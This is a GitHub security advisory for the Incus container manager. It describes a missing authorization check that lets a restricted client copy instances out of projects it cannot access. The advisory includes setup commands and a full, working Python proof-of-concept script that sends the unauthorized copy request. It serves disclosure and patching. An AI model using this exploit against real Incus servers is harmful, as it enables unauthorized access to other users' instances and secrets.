GHSA-qx75-2p3r-pwm5

Reported from https://github.com/lxc/incus/security/advisories/GHSA-c9f5-j9c3-mhrg

Summary

Missing authorization checks exist for instance copying where an attacker knowing the name of a project that they don't have access to and the name of an instance in that project can copy the instance to a new project. This issue could allow an attacker to access secrets in instances they are not authorized to access.

Details

cmd/incusd/instances.go authorizes POST /1.0/instances against the target project. In the copy path, cmd/incusd/instances_post.go then loads the source instance from req.Source.Project without checking whether the caller can view that source instance.

From my understanding, the copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the instance to another server.

PoC

Setup

We assume the target server is remotely accessible and a user/certificate has been added.

# create a new project and instance
incus project create secrets
incus profile show default | incus --project secrets edit default
incus --project secrets init images:debian/trixie secret

# restrict an existing certificate to prevent access to the project
incus config trust edit cert-fp
#> set, for example
restricted: true
projects:
  - default

# verification, with the restricted certificate
incus ls remote:

Exploitation

The below script was partly generated. To copy the secret instance to the default project, the following command can be used.

python3 poc.py --url https://IP-REMOTE:8443 \
    --cert path/to/client.crt --key path/to/client.key \
    --target-project default --source-project secrets \
    --source-instance secret --name copy-secret --insecure

Wait a bit for the instance to be copied, then incus ls remote: to see the copied instance.

#!/usr/bin/env python3
"""Copy an instance from a project the caller should not be able to read."""

from __future__ import annotations

import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request


def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
    ctx = ssl.create_default_context()
    if insecure:
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
    ctx.load_cert_chain(cert, key)

    req = urllib.request.Request(
        url.rstrip("/") + path,
        data=json.dumps(body).encode(),
        method="POST",
        headers={"Content-Type": "application/json", "Accept": "application/json"},
    )
    try:
        with urllib.request.urlopen(req, context=ctx) as resp:
            return resp.read()
    except urllib.error.HTTPError as exc:
        sys.stderr.write(exc.read().decode(errors="replace") + "\n")
        raise


def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("--url", required=True)
    ap.add_argument("--cert", required=True)
    ap.add_argument("--key", required=True)
    ap.add_argument("--target-project", required=True)
    ap.add_argument("--source-project", required=True)
    ap.add_argument("--source-instance", required=True)
    ap.add_argument("--name", required=True, help="new instance name in target project")
    ap.add_argument("--instance-only", action="store_true")
    ap.add_argument("--start", action="store_true")
    ap.add_argument("--insecure", action="store_true")
    ap.add_argument("--dry-run", action="store_true")
    args = ap.parse_args()

    body = {
        "name": args.name,
        "source": {
            "type": "copy",
            "source": args.source_instance,
            "project": args.source_project,
            "instance_only": args.instance_only,
        },
        "start": args.start,
    }
    path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.target_project})
    print(json.dumps(body, indent=2))
    if args.dry_run:
        return 0
    print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Impact

An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.